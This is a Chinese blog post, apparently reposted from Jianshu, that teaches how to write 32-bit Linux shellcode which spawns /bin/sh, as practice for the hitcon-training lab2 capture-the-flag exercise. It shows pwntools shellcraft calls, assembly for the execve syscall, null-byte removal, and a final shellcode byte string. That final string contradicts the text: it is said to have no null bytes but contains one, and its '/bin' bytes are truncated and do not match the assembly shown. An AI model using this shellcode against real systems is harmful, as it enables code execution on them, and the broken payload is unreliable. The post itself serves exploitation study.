編寫shellcode的幾種姿勢


今天開始在做hitcon-training的題目,做到lab2就發現了自己的知識盲區,遇到無法執行shell的情況,需要自己打shellcode執行cat flag 操作

經過一系列的搜索,發現了幾種編寫shellcode的方法:

首先,就可以用pwntools來編寫:

1.asm 進行匯編,使用參數來指定cpu類型以及操作系統

32位linux:

asm("mov eax, SYS_select", arch = 'i386', os = 'linux')

'\xb8]\x00\x00\x00'

64位linux:

asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')

'\xb8\x17\x00\x00\x00'

2shellcode生成器

32位:shellcraft.i386.linux.sh()

64位:shellcraft.amd64.linux.sh()

第二種方法就是用匯編來寫:

假設我們現在要寫一個shellcode,用來執行 execve("/bin/sh",0)

執行系統調用首先要知道調用函數對應的系統調用號,32位linux內核的系統調用表可以通過http://syscalls.kernelgrok.com/網站來查詢,我們這里獲得shell只需用到execve函數,從表中可以看到execve的調用號是0x0b,需要把這個0x0b傳給eax,接着執行 int 0x80軟中斷,也就是系統中斷,根據中斷號和相關寄存器設置調用對應系統函數

 
 

第一步,就是需要將系統調用號加入到eax中。

第二步,ebx用於保存函數調用的第一個參數(ecx存放第二個參數,edx存放第三個參數,esi存放第四個參數,edi存放第五個參數)

如果參數個數超過5個,那么就必須將參數數組存儲在內存中,而且必須將該數組的地址存儲在ebx中。

一旦加載寄存器之后,就會調用int 0x80 匯編指令來發出軟中斷,強迫內核暫停手頭上的工作並處理該中斷。

在這里,第1個參數ebx,剛好是“/bin/sh”;第2個參數ecx是一個指針數組,第一個元素是第一個參數地址,第二個元素為空;第3個參數是edx為空。最后execve的系統調用號就放在了寄存器eax中=0xb。

接着我們就開始編寫shellcode了:

global _start

_start:

mov eax,0   #eax置0

mov edx,0   #edx置0

push edx #也就是  execve()中的第三個參數,由於是入棧,所以最先入的是最后一個參數

push "/sh"  

push "/bin" #將/bin/sh存入棧中

mov ebx,esp  #ebx指向/bin/sh字符串,保存了/bin/sh的地址

xor eax,eax   #xor異或運算使eax清0,xor eax,eax 指令為2字節而mov eax,0 指令為5個字節一般用效率高的xor

mov al,0Bh ;eax的低位置為execve函數中斷號

int 80h

 

 
 

保存為shellcode.asm,通過編譯鏈接,然后運行,獲得shell

 

 
 

使用 objdump -d 獲得機器碼

 

 
 

我們發現機器碼中有許多/x00字節,shellcode中存在/x00字節在進行利用的時候會被截斷Shellcode如果存儲在堆或是棧的內存中,這樣在shellcode執行時就不能出現\x00這樣的階段字符,這就需要我們在構造shellcode時防止此類壞字符的出現。所以我們要避免出現/x00字節,重新修改我們的匯編程序

global _start

_start:

xor ecx,ecx  使用這種方法清零就不會出現\x00

xor edx,edx

push edx

push "/sh"

push "/bin"

mov ebx,esp

xor eax,eax

mov al,0Bh

int 80h

編譯鏈接運行,得到機器碼

 

 
 

需要注意的是,編譯后,0x68732f實際上就是字符串“hs/”,而0x6e69622f是“nib/”

這是因為32位的程序采用的小端序存儲,所以參數字符都是倒過來的

沒有出現/x00字節,得到最終的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x00\x68\x2f\x62\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

通過這種方法,我們就把shellcode寫出來了,若是想調用其他的函數或者執行其他的語句,也可以用這種方式,具體這里有一道題目可以拿來練練手,hitcon-training-lab2

小禮物走一走,來簡書關注我



作者:23R3F
鏈接:https://www.jianshu.com/p/eb75426b85cb
來源:簡書
簡書著作權歸作者所有,任何形式的轉載都請聯系作者獲得授權並注明出處。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM